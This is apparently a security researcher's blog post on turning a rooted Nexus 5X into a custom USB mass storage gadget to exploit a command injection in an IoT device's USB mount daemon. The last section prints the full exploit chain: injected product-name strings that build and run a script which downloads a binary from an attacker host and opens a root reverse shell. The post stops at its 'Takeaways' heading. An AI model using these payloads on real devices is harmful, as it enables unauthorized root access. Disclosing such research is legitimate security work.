When this Project Zero report came out I started thinking more about USB as an interesting attack surface for IoT devices. Many of these devices allow users to plug in a USB and then perform some actions with that USB automatically, and that automatic functionality may be too trusting of the USB device. That post got filed away in my mind and mostly forgotten for a while until an IoT device with a USB port showed up at my door sporting a USB port. Sadly, I hadn’t yet gotten the mentioned Raspberry Pi Zero and shipping would probably take longer than my attention span would allow, but a coworker mentioned that Android has ConfigFS support so I decided to investigate that route instead, but let’s back up a bit and set the scene.

I had discovered that the IoT device in question would automatically mount any USB mass storage device that was connected to it, and, if certain properties on the device were set, would use those properties — unsanitized — to create the mount directory name. Furthermore, this mounting would happen via a call to C’s infamous system function: a malicious USB device could potentially set these parameters in such a way as to get arbitrary command execution. Since the responsible daemon was running as root, this meant that I might be able to plug a USB in, wait a couple seconds, and then have command execution as root on the device. This naturally triggered my memories of all of those spy movies where the protagonist plugs something into a door’s highly sophisticated lock, which makes a bunch of numbers flash on the LED screen, magically opens the door, and makes them succinctly claim: “I’m in” in a cool tone. I wanted to do that.

I was fairly certain my attack would work, but I wasn’t very familiar with turning my Android device into a custom USB peripheral and searches were mostly lacking a solution. This post is intended to supplement those lacking internet searches. If you want to follow along at home, I’m using a rooted Nexus 5X device running the last Android version it supports: 8.1. I’m not sure how different things are in Android 9 land.

Android as a Mass Storage Device

For my purposes, I need my Android device to show up as a USB mass storage device with the following properties controlled by me: the product name string, the product model string, and the disk label. You can customize much more than that, but I don’t care about the rest. We’ll start with what didn’t seem to work for me: I had a passing familiarity with ConfigFS and saw a /config/usb_gadget , so I figured I’d just use that to make a quick mass storage USB device using the ConfigFS method that I knew about. I wrote up a quick script to create all of the entries, but upon testing it I ran in to this:

mkdir: '/config/usb_gadget/g1/functions/mass_storage.0': Function not implemented

I’m still not sure why that route didn’t work, but apparently this method just isn’t supported. I was stumped for a bit and started digging into the Android and Linux kernel source code before taking a step back. I didn’t want to fall into the rabbit hole that was reading obscure kernel code: I just wanted to /bin/touch /tmp/haxxed on this device and declare myself 1337. So I left kernel land for Android init land to see what the Android devs do to change USB functionality.

Taking a look at some Android init files here, you’ll notice that there are two different .rc files for USB: init.usb.configfs.rc and init.usb.rc. Keen observers (see: people who actually clicked those links) will see that each one has a check for the property sys.usb.configfs : if it is 1 the entries in the init.usb.configfs.rc file are used, otherwise the init.usb.rc entries are used. For me, sys.usb.configfs was 0 and I confirmed that things were being modified over in the /sys/class/android_usb directory, so I shifted my focus there. I haven’t gone back to investigate what would happen with sys.usb.configfs set to 1 , so I’m not going to claim this is the only way to do this, but it is the way that worked for me.

Exploring Unknown Lands

Now that I’ve shifted my focus to the /sys/class/android_usb/android0 directory, let’s explore that. I see the following:

bullhead:/sys/class/android_usb/android0 # ls bDeviceClass f_acm f_ffs f_rmnet iManufacturer power bDeviceProtocol f_audio f_gps f_rmnet_smd iProduct remote_wakeup bDeviceSubClass f_audio_source f_mass_storage f_rndis iSerial state bcdDevice f_ccid f_midi f_rndis_qc idProduct subsystem down_pm_qos_sample_sec f_charging f_mtp f_serial idVendor uevent down_pm_qos_threshold f_diag f_ncm f_uasp idle_pc_rpm_no_int_secs up_pm_qos_sample_sec enable f_ecm f_ptp f_usb_mbim pm_qos up_pm_qos_threshold f_accessory f_ecm_qc f_qdss functions pm_qos_state

idVendor , idProduct , and iProduct , iManufacturer , and f_mass_storage look slightly familiar. If you are familiar with ConfigFS, the contents of f_mass_storage also looks similar to the contents of the mass_storage function:

bullhead:/sys/class/android_usb/android0 # ls f_mass_storage device inquiry_string lun luns power subsystem uevent bullhead:/sys/class/android_usb/android0 # ls f_mass_storage/lun file nofua power ro uevent

It is at this point that, if I were a less honest person, I’d tell you I know what is going on here. I don’t. My goal is just to hack the thing by making a malicious USB device, not learn the inner workings of the Linux kernel and how Android sets itself up as a USB peripheral. I intend to go deeper into this later, and will perhaps write a more comprehensive blog post at that point. There are plenty of hints around the source code and on the device itself that help figure out how to use this directory.

One thing I see happening in init.usb.rc all the time is this line:

write /sys/class/android_usb/android0/enable 0 .... write /sys/class/android_usb/android0/functions ${sys.usb.config} write /sys/class/android_usb/android0/enable 1

So what is function set to when I just have a developer device plugged in and am using ADB?

bullhead:/sys/class/android_usb/android0 # cat functions ffs

I happen to know that ADB on the device is implemented using FunctionFS, and ffs looks like shorthand for FunctionFS to me, so it makes sense that that would be enabled. I’m probably going to have to change that value, so let’s go ahead and set it to mass_storage and see what happens.

bullhead:/sys/class/android_usb/android0 # echo 0 > enable

And my ADB session dies. Right, you can’t just kill USB and expect to use a USB connection. Well, at least I know it works! Luckily ADB is nice enough to also work over TCP/IP, so I can restart and:

adb tcpip 5555 adb connect 192.168.1.18:5555

For the record, I wouldn’t go doing that on your local coffee shop WiFi. OK, now that we’re connected — using the magic of photons — we can bring down USB and change to mass storage and see what happens.

bullhead:/sys/class/android_usb/android0 # echo 0 > enable bullhead:/sys/class/android_usb/android0 # echo mass_storage > functions bullhead:/sys/class/android_usb/android0 # echo 1 > enable

Cool, no errors or crashes or anything. If you’re familiar with ConfigFS you’ll probably also know that I can modify f_mass_storage/lun/file to give some backing storage for the mass storage device. If you’re not familiar with ConfigFS, you know that now: nice! If you already know how to make an image to back your USB mass storage device, you’re smarter than I was about a week ago and can probably skip the next section.

Making Images

One thing to keep in mind when making the image is that I need to be able to control the disk LABEL value (as seen by blkid ). We’ll make a file and just use that instead of doing anything fancy. Note that I didn’t actually care about writing things to the USB’s disk: I just wanted it to be recognized by the target device as a mass storage device so that it would be mounted. To make our backing image file then, we’ll start off with a whole lot of nothing:

dd if=/dev/zero of=backing.img count=50 bs=1M

This will create a 50MB file named backing.img that is all 0s. That is pretty useless; we’re going to need to format it with fdisk . A more adept Linux hacker would probably know how to script this, but I, being an intellectual, did it this way:

echo -e -n 'o

n









t

c

w

' | fdisk backing.img

That magic is filling out the fdisk entries for you. It looks like this:

Welcome to fdisk (util-linux 2.31.1). Changes will remain in memory only, until you decide to write them. Be careful before using the write command. Device does not contain a recognized partition table. Created a new DOS disklabel with disk identifier 0xd643eccd. Command (m for help): Created a new DOS disklabel with disk identifier 0x50270950. Command (m for help): Partition type p primary (0 primary, 0 extended, 4 free) e extended (container for logical partitions) Select (default p): Using default response p. Partition number (1-4, default 1): First sector (2048-20479, default 2048): Last sector, +sectors or +size{K,M,G,T,P} (2048-20479, default 20479): Created a new partition 1 of type 'Linux' and of size 9 MiB. Command (m for help): Selected partition 1 Hex code (type L to list all codes): Changed type of partition 'Linux' to 'W95 FAT32 (LBA)'. Command (m for help): The partition table has been altered. Syncing disks.

We’re making an image with a DOS partition table and a single FAT32 partition with everything else being the default. Cool. We need to do some formatting and labelling now:

# losetup --offset 1048576 -f backing.img /dev/loop0 # mkdosfs -n "HAX" /dev/loop0 # losetup -d /dev/loop0

The magic 1048576 is 2048 * 512 , which is the first sector times the sector size. Here we just attach our image as the /dev/loop0 device and run a simple mkdosfs : the -n "HAX" is important in my case as that gives me control over the LABEL. That’s all you need to do. Easy.

Bringing it all Together

Armed with our image we can now make the full USB device:

$ adb tcpip 5555 $ adb connect 192.168.1.18:5555 $ adb push backing.img /dev/local/tmp/ $ adb shell

And in the adb shell :

$ su # echo 0 > /sys/class/android_usb/android0/enable # echo '/data/local/tmp/backing.img' > /sys/class/android_usb/android0/f_mass_storage/lun/file # echo 'mass_storage' > /sys/class/android_usb/android0/functions # echo 1 > /sys/class/android_usb/android0/enable

If all goes well:

# lsusb -v -d 18d1: Bus 003 Device 036: ID 18d1:4ee7 Google Inc. Device Descriptor: bLength 18 bDescriptorType 1 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 idVendor 0x18d1 Google Inc. idProduct 0x4ee7 bcdDevice 3.10 iManufacturer 1 LGE iProduct 2 Nexus 5X iSerial 3 0000000000000000 bNumConfigurations 1 Configuration Descriptor: bLength 9 bDescriptorType 2 wTotalLength 32 bNumInterfaces 1 bConfigurationValue 1 iConfiguration 0 bmAttributes 0x80 (Bus Powered) MaxPower 500mA Interface Descriptor: bLength 9 bDescriptorType 4 bInterfaceNumber 0 bAlternateSetting 0 bNumEndpoints 2 bInterfaceClass 8 Mass Storage bInterfaceSubClass 6 SCSI bInterfaceProtocol 80 Bulk-Only iInterface 5 Mass Storage Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x81 EP 1 IN bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 0 Endpoint Descriptor: bLength 7 bDescriptorType 5 bEndpointAddress 0x01 EP 1 OUT bmAttributes 2 Transfer Type Bulk Synch Type None Usage Type Data wMaxPacketSize 0x0200 1x 512 bytes bInterval 1 Device Qualifier (for other device speed): bLength 10 bDescriptorType 6 bcdUSB 2.00 bDeviceClass 0 (Defined at Interface level) bDeviceSubClass 0 bDeviceProtocol 0 bMaxPacketSize0 64 bNumConfigurations 1 Device Status: 0x0000 (Bus Powered)

You can see the device here:

$ ls -lh /dev/disk/by-id lrwxrwxrwx 1 root root 9 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0 -> ../../sdb lrwxrwxrwx 1 root root 10 Aug 2 14:35 usb-Linux_File-CD_Gadget_0000000000000000-0:0-part1 -> ../../sdb1

And you should be able to mount:

$ mkdir HAX && sudo mount /dev/sdb1 HAX

I felt like Neo when that worked. Right now this is just a glorified thumb drive though. The real fun comes with the fact that we can change parameters:

# echo 0 > /sys/class/android_usb/android0/enable # echo 1337 > /sys/class/android_usb/android0/idProduct # echo 'Carve Systems' > /sys/class/android_usb/android0/iManufacturer # echo '1337 Hacking Team' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable

$ lsusb -v -d 18d1: Bus 003 Device 044: ID 18d1:1337 Google Inc. Device Descriptor: .... idProduct 0x1337 .... iManufacturer 1 Carve Systems iProduct 2 1337 Hacking USB ....

Wow does that make it easy to make a malicious USB device.

Hacking the Thing

To bring everything full circle, I’ll go through the actual exploit that inspired this. The code I was exploiting looked somewhat similar to this:

snprintf(dir, DIR_SIZE, "/mnt/storage/%s%s%s", LABEL, iManufacturer, iProduct); snprintf(cmd, CMD_SIZE, "mount %s %s", /dev/DEVICE, dir); system(cmd);

My proof of concept exploit was the following:

Drop a shell script at the vulnerable daemon’s cwd that will spawn a reverse shell Execute that file with sh

One tricky bit is that they were removing whitespace and / from those variables, but luckily system was passing to a shell that understands $IFS and sub-shells. Once I had the Android device setup, exploiting this issue was straightforward, commands would be built as follows:

echo 0 > enable echo ';{cmd};' > iProduct echo 1 > enable

With the entire command chain looking like this (I removed some sleep commands that were necessary):

# echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}b=`printf$IFS'"'"'\\x2f'"'"'`>>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}s=\"$IFS\">>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}u=http:\$b\${b}192.168.1.152:8000\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}curl\$s-s\$s-o\${s}shell\$s\$u>>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}chmod\$s+x\${s}shell>>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';echo${IFS}\${b}shell>>a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable # echo 0 > /sys/class/android_usb/android0/enable # echo ';sh${IFS}a;' > /sys/class/android_usb/android0/iProduct # echo 1 > /sys/class/android_usb/android0/enable

All of those commands together create the following file ( /a ):

b=/ s=" " u=http:$b${b}192.168.1.152:8000${b}shell curl$s-s$s-o${s}shell$s$u chmod$s+x${s}shell ${b}shell

The last command executes the file with sh a . This script pulls a binary I wrote to get a reverse shell. You could send your favorite reverse shell payload, but this way is always simple and makes verification quick. Upon the last command being executed, we’re greeted with the familiar:

$ nc -l -p 3567 id uid=0(root) gid=0(root) groups=0(root)

Nice.

Takeaways